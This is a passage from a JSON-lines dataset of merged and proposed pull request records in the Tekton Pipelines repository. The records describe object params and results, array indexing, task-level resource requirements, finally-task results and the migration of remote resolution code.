"\r\n\r\n# Changes\r\nReplace the following references with actual value\r\n- the reference to the whole object param defined in PipelineSpec\r\n- the reference to the individual keys of an object param\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdded object variable replacements to support following use cases\r\n- use the reference of the whole object param to provide value for PipelineTask param\r\n- use the reference of object individual variables to provide value for any field that accepts string\r\n\r\nnote: similar to array, object param is not supported in matrix.\r\n```\r\n\r\n\r\n", "created_at": "2022-06-21T15:42:11Z", "deletions": 37, "discovered_via": "tep_file_link", "files_changed": 6, "labels": ["approved", "lgtm", "size/XL", "release-note"], "linked_issues": [], "merged_at": "2022-06-29T21:18:52Z", "pr_number": 5007, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["chuangw6", "dibyom", "ywluogg"], "title": "TEP-0075: Object variable replacement on Pipeline/PipelineRun level"} +{"additions": 482, "body": "# Changes\r\n/kind feature\r\n\r\nCloses https://github.com/tektoncd/pipeline/issues/4470\r\n\r\nThe related TEP:\r\n[TEP-0104: Task-level Resource Requirements](https://github.com/tektoncd/community/blob/main/teps/0104-tasklevel-resource-requirements.md)\r\n\r\nThe related impl PRs:\r\nhttps://github.com/tektoncd/pipeline/pull/4877 - Fields Addition & Validation w/ Docs Updates\r\nhttps://github.com/tektoncd/pipeline/pull/5054 - Add Validation for Step-level Resource Requirements \r\nhttps://github.com/tektoncd/pipeline/pull/5212 - Populate Task-level Resource Requirements from PipelineRun to TaskRun\r\n\r\nThis PR will include logic and tests as:\r\n- Update the containers in the Pod with the specified task-level resource requirements\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing (included in https://github.com/tektoncd/pipeline/pull/4877)\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in (if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n``` release-note\r\nSupported Task-level Resource Requirements \r\n```\r\n\r\n\r\n", "created_at": "2022-07-05T19:36:25Z", "deletions": 3, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note-none"], "linked_issues": [], "merged_at": "2022-08-16T13:49:53Z", "pr_number": 5082, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["austinzhao-go", "lbernick"], "title": "[TEP-0104] Update Pod with Task-level Resource Requirements"} +{"additions": 185, "body": "\r\n\r\n# Changes\r\nThis is part of work in [TEP-0075](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md).\r\nThis commit provides the support to apply object results replacements.\r\nPrevious this commit we support emitting object results so users can\r\nwrite object results to task level, but we cannot pass object results from\r\none task to another within one pipeline. This commit adds the support for this.\r\n\r\nNote that this commit does not support `object` and `array` results for `Matrix` \r\n\r\n/kind feature\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n```release-note\r\nSupport object results substitution as an alpha feature.\r\n\r\nA task can specify a type to produce array result, such as:\r\nresults:\r\n - name: object-results\r\n type: object\r\n description: The object results\r\n properties:\r\n foo: {\r\n type: string\r\n }\r\n hello: {\r\n type: string\r\n }\r\n\r\nAnd the task script can populate result in an object form with:\r\n\r\necho -n \"{\\\"foo\\\":\\\"bar\\\",\\\"hello\\\":\\\"world\\\"}\" | tee $(results.object-results.path)\r\n\r\nand we can refer to the object results in param like:\r\n params:\r\n - name: whole-object\r\n value: \"$(tasks.task1.results.object-results[*])\"\r\n - name: object-element\r\n value: \"$(tasks.task1.results.object-results.hello)\"\r\n\r\nThis feature is part of the TEP-0075. \r\n```\r\n\r\n\r\n", "created_at": "2022-07-05T21:31:22Z", "deletions": 5, "discovered_via": "tep_file_link", "files_changed": 7, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-07-08T15:13:06Z", "pr_number": 5083, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["Yongxuanzhang", "dibyom", "ywluogg"], "title": "[TEP-0075] Support Object Results substitution"} +{"additions": 378, "body": "\r\n\r\n# Changes\r\n\r\nThis is part of work in TEP-0075.\r\nPrevious to this commit, we have added support for pipeline array\r\nresults. This commit supports object results, so pipeline can emit\r\nobject results as whole or emit elements of the object from tasks.\r\nBefore this commit the pipeline level result only support string and\r\narray.\r\n\r\n/kind feature\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n```release-note\r\nSupport object results and object element reference for pipeline level as an alpha feature.\r\n\r\nA pipeline can specify a type to create object result, such as:\r\n\r\n results:\r\n - name: object-results\r\n type: object\r\n description: whole object\r\n value: $(tasks.task1.results.object-results[*])\r\n - name: object-results-element\r\n type: string\r\n description: object element\r\n value: $(tasks.task2.results.array-results.keyName)\r\n\r\nAnd the task script can populate result in an array form with:\r\n\r\necho -n \"{\\\"foo\\\":\\\"bar\\\",\\\"hello\\\":\\\"world\\\"}\" | tee $(results.object-results.path)\r\n\r\nThe pipeline results can refer to task results to collect them.\r\nThis feature is part of the TEP-0075. \r\n```\r\n\r\n\r\n", "created_at": "2022-07-06T15:36:03Z", "deletions": 83, "discovered_via": "tep_file_link", "files_changed": 11, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-07-14T16:21:39Z", "pr_number": 5088, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "dibyom", "lbernick", "ywluogg"], "title": "[TEP-0075]Pipeline results support object"} +{"additions": 131, "body": "\r\n\r\n# Changes\r\n\r\nPrior to this commit, dots are allowed to be used in param names to\r\nsupport domain-scoped names. However, ***object*** params have already\r\nsupported domain-scoped names since it has a list of keys. In addition,\r\nusing dots in object param names and key names have conflicts.\r\nSee more details in https://github.com/tektoncd/community/pull/711.\r\n\r\nIn this change, we validate against those object names and key names\r\nthat contain dots.\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nDots are not allowed in object param names and key names.\r\n```\r\n\r\n\r\n", "created_at": "2022-07-06T18:52:20Z", "deletions": 34, "discovered_via": "tep_file_link", "files_changed": 3, "labels": ["approved", "lgtm", "size/L", "release-note", "kind/cleanup"], "linked_issues": [], "merged_at": "2022-07-11T17:49:08Z", "pr_number": 5090, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["chuangw6", "dibyom", "ywluogg"], "title": "TEP-0075: Validate object name and key name have no dots"} +{"additions": 715, "body": "\r\n\r\n# Changes\r\nThis commit provides the indexing into array for params and gated by\r\nalpha feature flag. Before this commit we can only refer to the whole\r\narray for taskrun params, with this feature we can refer to array's element such as\r\n$(params.param-name[0]).\r\n\r\n/kind feature\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nIndexing into array for taskrun params is now an alpha feature, element of array params can be accessed via $(params.param-name[i]).\r\n```\r\n\r\n", "created_at": "2022-07-13T15:22:55Z", "deletions": 9, "discovered_via": "tep_file_link", "files_changed": 8, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note"], "linked_issues": [], "merged_at": "2022-07-14T20:57:47Z", "pr_number": 5132, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "dibyom", "lbernick"], "title": "[TEP-0076] Add indexing into array for taskrun params reference"} +{"additions": 81, "body": "\r\n\r\n# Changes\r\n\r\n\r\nThis is part of work in TEP-0076.\r\nPrevious to this commit, we have added support for pipeline array\r\nresults indexing. This commit adds the validation to check if it is out\r\nof bound.\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\npipelinerun will fail if pipelineresults array index is out of bound\r\n```\r\n\r\n", "created_at": "2022-07-14T17:03:20Z", "deletions": 13, "discovered_via": "tep_file_link", "files_changed": 6, "labels": ["kind/feature", "approved", "lgtm", "size/M", "release-note"], "linked_issues": [], "merged_at": "2022-07-14T20:07:46Z", "pr_number": 5139, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["lbernick"], "title": "[TEP-0076]Validate Pipeline results array index"} +{"additions": 226, "body": "\r\n\r\n# Changes\r\nThis commit add more feature for TaskResult's SetDefaults, if the\r\nProperties is set then the result type is inferred as object. For Properties\r\nvalue it is also set to string by default.\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\ntaskresults is inferred as object if Properties is set, and Properties's value by default is string\r\n```\r\n", "created_at": "2022-07-14T19:07:26Z", "deletions": 6, "discovered_via": "tep_file_link", "files_changed": 4, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-07-28T18:05:32Z", "pr_number": 5142, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "chuangw6", "lbernick"], "title": "[TEP-0075]Add more setdefaults features for taskresults"} +{"additions": 88, "body": "\r\n\r\n\r\n# Changes\r\n\r\n- Added a taskrun level example that uses object param and\r\nobject result.\r\n\r\n- Added a pipeline level example that uses individual variables of an\r\nobject param and uses the whole object param.\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdd taskrun & pipelinerun examples that use object param and result.\r\n```\r\n", "created_at": "2022-07-15T22:22:03Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["approved", "lgtm", "size/M", "release-note", "kind/misc"], "linked_issues": [], "merged_at": "2022-07-18T18:39:33Z", "pr_number": 5144, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["chuangw6", "ywluogg"], "title": "TEP-0075: Add examples with object params and results"} +{"additions": 679, "body": "\r\n\r\n# Feature Request\r\n\r\nThis issue will track implementation of [TEP-0116: Referencing Finally Task Results in Pipeline Results](https://github.com/tektoncd/community/pull/746).\r\n\r\n# Changes\r\n\r\nPreviously, `finally` fields could not propagate `Results`\r\nto `Pipeline`, whereas `PipelineTasks` in the `Tasks` field could. \r\nTo improve the parity between `finally` field and `tasks`, this\r\nissue supports referencing `Results` from `finally` in \r\n`Pipeline Results`.\r\n\r\nThis PR adds `finally` to the `v1beta1` `const` field, updates logic,\r\nadds unit tests to allow `$(finally..result.)`\r\nto be valid, adds validation, and updates documentation.\r\n\r\n/kind feature\r\n/cc @jerop \r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAllow users to use `results` from `finally` in `PipelineResults` using `$(finally..result.)`\r\n```\r\n", "created_at": "2022-07-19T16:06:43Z", "deletions": 31, "discovered_via": "tep_file_link", "files_changed": 8, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2022-08-08T16:06:50Z", "pr_number": 5170, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["dibyom", "jerop", "lbernick", "vsinghai"], "title": "TEP-0116: Referencing Finally Task Results in Pipeline Results"} +{"additions": 86, "body": "\r\n\r\n\r\n# Changes\r\n\r\nThe pipeline consists of two tasks\r\n- task 1 writes the values of an object param to an object result.\r\n- task 2 uses task1's object result as the value of its own object param,\r\nand echo that object param.\r\n\r\n/kind misc\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdd a pipeline run example with both object param and result\r\n```\r\n", "created_at": "2022-07-22T14:45:44Z", "deletions": 52, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["approved", "lgtm", "size/L", "release-note", "kind/misc"], "linked_issues": [], "merged_at": "2022-07-26T15:57:31Z", "pr_number": 5197, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["chuangw6", "lbernick"], "title": "TEP-0075: Add a pipeline run example with both object param and result"} +{"additions": 5627, "body": "# Changes\r\n\r\nPart of #4710\r\n\r\nIn order to get remote resolution functionality to beta, we're moving it from a separate repository/release to be part of Pipeline. This is the first PR in a sequence moving the code from the Resolution repository into Pipeline.\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\naction required: Remote resolver `resource` field has changed to `params`.\r\n```\r\n", "created_at": "2022-07-22T16:33:04Z", "deletions": 731, "discovered_via": "tep_file_link", "files_changed": 75, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note-action-required"], "linked_issues": [], "merged_at": "2022-08-25T14:05:57Z", "pr_number": 5200, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["abayer", "dibyom", "jerop", "lbernick", "pritidesai", "vdemeester"], "title": "Add types and client for Resolution"} +{"additions": 154, "body": "Task-level resource requirements will be populated from PipelineRun to the created TaskRun\r\n\r\n# Changes\r\n\r\n/kind feature\r\n\r\n\r\nThe related FR thread:\r\nhttps://github.com/tektoncd/pipeline/issues/4470\r\nThe related TEP:\r\n[TEP-0104: Task-level Resource Requirements](https://github.com/tektoncd/community/blob/main/teps/0104-tasklevel-resource-requirements.md)\r\n\r\nThe previous PRs:\r\nhttps://github.com/tektoncd/pipeline/pull/4877 - Fields Addition & Validation w/ Docs Updates\r\nhttps://github.com/tektoncd/pipeline/pull/5054 - Add Validation for Step-level Resource Requirements\r\nThe follow-up PR:\r\nhttps://github.com/tektoncd/pipeline/pull/5082 - Update Pod with Task-level Resource Requirements\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2022-07-26T14:15:56Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 3, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note-none"], "linked_issues": [], "merged_at": "2022-08-03T21:11:36Z", "pr_number": 5212, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["austinzhao-go", "dibyom", "lbernick"], "title": "[TEP-0104] Populate Task-level Resource Requirements from PipelineRun to TaskRun"} +{"additions": 13, "body": "\r\n\r\n\r\n\r\n# Changes\r\n\r\n- Added instructions on how object variables can be used on Pipeline\r\nand Task level.\r\n- Added links to example yaml files in `docs/tasks.md`.\r\n\r\n/kind misc\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nUpdate docs\r\n```\r\n", "created_at": "2022-07-26T20:46:46Z", "deletions": 13, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["approved", "lgtm", "size/S", "release-note", "kind/misc"], "linked_issues": [], "merged_at": "2022-08-08T14:04:49Z", "pr_number": 5222, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["chuangw6", "lbernick"], "title": "[TEP-0075] Add variable usage and links to examples in docs"} +{"additions": 959, "body": "\r\n\r\n# Changes\r\n\r\n\r\n## API changes\r\n1. Added new resultype : reference.\r\n2. A user provided workspaces for results can be configured at the pipeline level.\r\n\r\n## functional changes\r\n3. As part of POC, entrypoint script is updated to copy the result with reference\r\n type to user-configured worspace. TODO: this copy step can be avoided if the\r\n results can somehow be generated directly at the desired location.\r\n4. Reference type results are not stored in the etcd, instead their reference i.e.\r\n the path to their location is stored. This means whenever a reference type results\r\n value is queried it gives the path and not the actual content.\r\n5. There is no imposed limit on the size of the result when type is reference. If the\r\n contents do not exceed size limit of the pvc backing the workspace, it is expected\r\n to work properly.\r\n6. An example of concating text using the reference type result is provided along with\r\n few benchmarking examples - for comparing performance against string(default) result type.\r\n\r\n# Benchmark summary\r\n\r\n1. Local kind cluster with 20 tasks reading and writing about 2mb of data to results\r\n with reference type. \r\n Benchmark suite ran: examples/v1beta1/pipelineruns/concat-text-ref-results-bench.yaml\r\n Total time taken: 2m7s\r\n\r\n2. Local kind cluster with 20 tasks reading and writing about 2mb of data to results\r\n with-out reference type i.e. default result type.\r\n Benchmark suite ran: examples/v1beta1/pipelineruns/concat-text-normal-results-bench.yaml\r\n Total time taken: 1m59s\r\n\r\n3. Same as 1. ran on IBM Cloud kubernetes service with 3Nodes of 8 vcpu and 32GB ram. \r\n Using hostpath storageclass. Includes time required to create PV,PVC and bind them.\r\n Total time taken: 2m40s\r\n\r\n4. Same as 2. on IBM Cloud\r\n Total time taken: 2m22s\r\n\r\n# TODO\r\n1. Support default workspace for result\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n``` release-note\r\nNew resultype reference, to support large results using workspace.\r\n```\r\n\r\n/kind tep", "created_at": "2022-08-18T09:56:24Z", "deletions": 41, "discovered_via": "tep_file_link", "files_changed": 18, "labels": ["do-not-merge/hold", "size/XL", "lifecycle/rotten", "do-not-merge/release-note-label-needed", "needs-rebase", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 5337, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "[POC] TEP-0086 - Large results using workspace"} +{"additions": 84473, "body": "# Changes\r\n\r\nPart of #4710\r\n\r\n`pkg/resolution/resolver/bundle/bundle.go` is rewritten here based on `pkg/remote/oci/resolver.go`. This is cleaner code than the original, and retains the original Pipeline bundle resolution behavior of falling back to reading layers as raw if there were errors in reading them as tarballs, rather than only reading layers as raw if there's no matching digest.\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2022-08-26T15:07:27Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 486, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note-none"], "linked_issues": [], "merged_at": "2022-08-26T16:33:57Z", "pr_number": 5384, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["vdemeester"], "title": "Move Resolution bundle, git, and hub resolver pkgs over"} +{"additions": 423, "body": "# Changes\r\n\r\nPart of #4710\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) 